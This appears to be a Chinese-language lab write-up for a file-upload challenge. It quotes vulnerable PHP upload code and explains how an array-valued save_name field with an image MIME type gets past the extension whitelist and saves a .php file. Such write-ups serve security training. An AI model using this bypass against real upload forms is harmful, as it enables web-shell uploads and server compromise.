$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; //如果沒有送出POST資料save_name規定命名 直接拿上傳的檔案原命名
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file); //取最後一個值
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上傳該字尾檔案!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1]; //加了個點 取POST的save_name[conut($file)-1],這裡應該是想辦法變為空
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "檔案上傳成功!";
$is_upload = true;
} else {
$msg = "檔案上傳失敗!";
}
}
}
}else{
$msg = "請選擇要上傳的檔案!";
}
在這裡,首先判斷MINE類型,然後file_name後面拼接上一個點和一個POST資料save_name
故在這裡修改包需滿足
- MINE為image/xxx
- 需要有save_name[0] 和save_name,這個時候$file[count($file)-1] = $file[1] 為空
- save_name[0] 為upload21.php/
-
save_name為jpg,友善$ext = end($file)=jpg,最後繞過$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix))的字尾驗證
另外,上面的upload21.php/ 改成upload21.php也可以的,因為這個時候在windows系統中, 字尾後面的.會忽略掉